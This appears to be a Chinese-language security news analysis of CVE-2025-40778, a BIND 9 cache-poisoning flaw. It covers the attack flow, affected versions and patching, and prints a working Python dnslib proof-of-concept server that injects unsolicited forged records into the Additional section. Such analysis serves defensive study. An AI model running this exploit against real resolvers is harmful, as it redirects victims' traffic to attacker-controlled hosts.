資訊安全新聞

BIND 9 DNS 漏洞攻擊：從 PoC 看惡意 Payload 如何注入 Cache

摘要

本報告提供 CVE-2025-40778 的詳細技術分析，此為影響 BIND 9 DNS 解析器的一個高嚴重性漏洞。此缺陷允許遠端、未經認證的攻擊者，利用解析器對於 DNS 回應中 非請自來的資源紀錄 (resource records, RRs) 接受度太過寬鬆的特性，來執行 Cache Poisoning 。此機制讓攻擊者能夠將偽造的位址資料注入解析器的 cache 中，導致後續的客戶端流量被重新導向至攻擊者控制的基礎設施。本分析基於公開可用的資料 [1] 和一個概念驗證 (PoC) 攻擊程式 [2]，著重於攻擊邏輯、payload 建構，以及潛在的漏洞機制。

BIND 9 DNS 漏洞攻擊：從 PoC 看惡意 Payload 如何注入 Cache | 資訊安全新聞

1. 漏洞簡介

Berkeley Internet Name Domain (BIND) 9 程式套件是網際網路上使用最廣泛的 DNS 伺服器程式，同時作為權威伺服器和遞迴（解析）伺服器 [1]。遞迴解析器是關鍵元件，它們代表客戶端執行 DNS 查詢並 cache HTTP Response 來提升效能。這個 cache 的完整性至關重要，因為它的損壞——稱為 cache poisoning ——可能導致重大的安全危害，包括流量重新導向、惡意軟體散佈和中間人攻擊 [1]。

CVE-2025-40778 是 BIND 9 遞迴解析器中的一個漏洞，源於該程式在「接受來自 answer 的紀錄時過於寬鬆」[1] 的問題。這種寬鬆使得攻擊者可以透過將偽造的 Resource Records (RRs) 包含在 DNS HTTP Response 中來將其注入 cache，即使這些 RRs 並非原始查詢明確請求的資料。此漏洞的 CVSS v3.1 評分為 8.6（高嚴重性）[2]。

2. 漏洞機制與攻擊邏輯

此漏洞的核心在於 BIND 9 解析器未能充分驗證從權威伺服器收到的 DNS HTTP Response 中 Additional Records (AR) 部分的內容。在標準的 DNS 解析程序中，遞迴解析器會向權威伺服器查詢特定的網域名稱。權威伺服器預期會在 Answer (AN) 部分返回請求的紀錄。AR 部分中的紀錄通常用於提供「膠水紀錄」或其他有幫助但並非嚴格請求的資料（例如，AN 部分中提及的網域名稱伺服器的 IP 位址）。

此攻擊利用了有漏洞的 BIND 9 版本會接受並 cache 來自 AR 部分中與原始查詢完全不相關的 RRs。這避開了舊式 cache poisoning 技術（如 Kaminsky 攻擊）所特有的複雜時序或暴力程序。一個非路徑攻擊者，若能競爭或偽造來自權威伺服器的 HTTP Response，就可以發送一個特殊設計的 HTTP Response，其中包含合法的 answer 以及 AR 部分中針對完全不同網域的偽造紀錄 [2]。

2.1. 攻擊流程圖

以下流程圖說明了三步驟的攻擊程序，突顯了 cache poisoning 的關鍵時刻：

sequenceDiagram participant Client participant VulnerableResolver as BIND 9 Resolver (Vulnerable) participant AttackerServer as Malicious Authoritative Server Client->>VulnerableResolver: 1. DNS Query for "www.victim.test" VulnerableResolver->>AttackerServer: 2. Query for "www.victim.test" Note over AttackerServer: Crafts Poisoned Response: Note over AttackerServer: AN: www.victim.test → Legitimate IP Note over AttackerServer: AR: www.target.example → Forged IP AttackerServer->>VulnerableResolver: 3. Poisoned DNS Response Note over VulnerableResolver: Accepts and caches: Note over VulnerableResolver: 1. Legitimate "www.victim.test" RR Note over VulnerableResolver: 2. **Unsolicited "www.target.example" RR (Cache Poisoning)** Client->>VulnerableResolver: 4. DNS Query for "www.target.example" VulnerableResolver->>Client: 5. Response with Forged IP (From Cache) Client->>AttackerServer: 6. Client redirected to Attacker's IP

3. 概念驗證 (PoC) 程式碼分析

提供的 PoC [2] 使用 Python 的 `dnslib` library 來模擬一個惡意的權威 DNS 伺服器。核心邏輯封裝在 `PoisonResolver` class 中，特別是 `resolve` method，它建構了被污染的 HTTP Response。

3.1. PoC 程式碼 Snippet

以下帶有詳細註釋的 Python 程式碼 snippet ，演示了如何建構被污染的 HTTP Response：

#!/usr/bin/env python3
import argparse
import sys
from dnslib import DNSRecord, RR, QTYPE, A
from dnslib.server import DNSServer, BaseResolver, DNSLogger
# Configuration for the exploit
VICTIM_NAME = "www.victim.test."
POISON_NAME = "www.target.example." # The domain to be poisoned
VICTIM_IP = "198.51.100.10"
POISON_IP = "203.0.113.5" # The attacker-controlled IP
class PoisonResolver(BaseResolver):
    def resolve(self, request: DNSRecord, handler):
        # Start with a reply based on the original request
        reply = request.reply()
        # Set flags: AA=1 (Authoritative Answer) is set to ensure the resolver
        # processes the response as authoritative data.
        reply.header.ra = 0
        reply.header.aa = 1
        qname = request.q.qname
        # Check if the query is for the victim domain (www.victim.test)
        if str(qname).lower() == VICTIM_NAME.lower():
            # 1. Add the legitimate answer to the ANSWER section (AN)
            # This is the expected record, which makes the response appear normal.
            reply.add_answer(RR(VICTIM_NAME, QTYPE.A, rdata=A(VICTIM_IP), ttl=120))
            # 2. Add the *unsolicited* and *poisonous* answer to the 
            # ADDITIONAL RECORDS section (AR). This record is for a domain 
            # (www.target.example) that was NOT requested.
            # The vulnerable BIND 9 accepts and caches this record.
            reply.add_ar(RR(POISON_NAME, QTYPE.A, rdata=A(POISON_IP), ttl=600))
        else:
            # For other queries, return NXDOMAIN (Not Found)
            reply.header.rcode = 3
        return reply

3.2. payload 的技術分解

在 PoC 中，關鍵的一行是將非請自來的紀錄添加到 Additional Records 部分：

reply.add_ar(RR(POISON_NAME, QTYPE.A, rdata=A(POISON_IP), ttl=600))

此操作強制將一個針對 `www.target.example` 網域、帶有攻擊者 IP (`203.0.113.5`) 的 Resource Record 包含在一個關於 `www.victim.test` 的查詢 HTTP Response 中。此漏洞在於 BIND 9 解析器在收到此 HTTP Response 時，會處理並 cache AR 部分中的 RR，而沒有進行足夠的檢查來確保它與原始查詢的解析鏈相關或必要。

被污染紀錄的 TTL (Time-To-Live) 為 600 秒（10 分鐘），決定了此偽造入口(forged entry)將在解析器的 cache 中持續多久，確保重新導向在相當長的一段時間內有效。

4. 受影響的程式與緩解程序

此漏洞影響多個版本的 BIND 9 和 BIND Supported Preview Edition [1]。受影響的範圍包括：

版本系列	受影響範圍
BIND 9	9.11.0 – 9.16.50
BIND 9	9.18.0 – 9.18.39
BIND 9	9.20.0 – 9.20.13
BIND Supported Preview Edition	所有受影響版本

Internet Systems Consortium (ISC) 已在以下修補版本中解決了此問題 [1]：

BIND 9: 9.18.41, 9.20.15, 和 9.21.14
BIND Supported Preview Edition: 9.18.41-S1 和 9.20.15-S1

由於不存在已知的替代解決程序，主要的緩解策略是立即將所有遞迴 DNS 伺服器更新到已修補的版本。此外，建議採用 DNS 伺服器運作的一般最佳實踐，例如啟用 DNSSEC 驗證並限制遞迴給信任的客戶端，以增強整體安全態勢 [1]。

5. 結論

CVE-2025-40778 因其簡單性和在實現 cache poisoning 方面的有效性而代表著重大的安全風險。透過利用 BIND 9 解析器未能嚴格驗證 Additional Records 部分中的非請自來紀錄的缺陷，攻擊者可以持續地注入偽造的 DNS 入口。此 PoC 演示了使用標準 DNS libraries 建構 malicious payload 的簡單方法。鑑於 BIND 9 在全球 DNS 基礎設施中的關鍵作用，立即應用提供的更新對於防止大規模攻擊至關重要。

摘要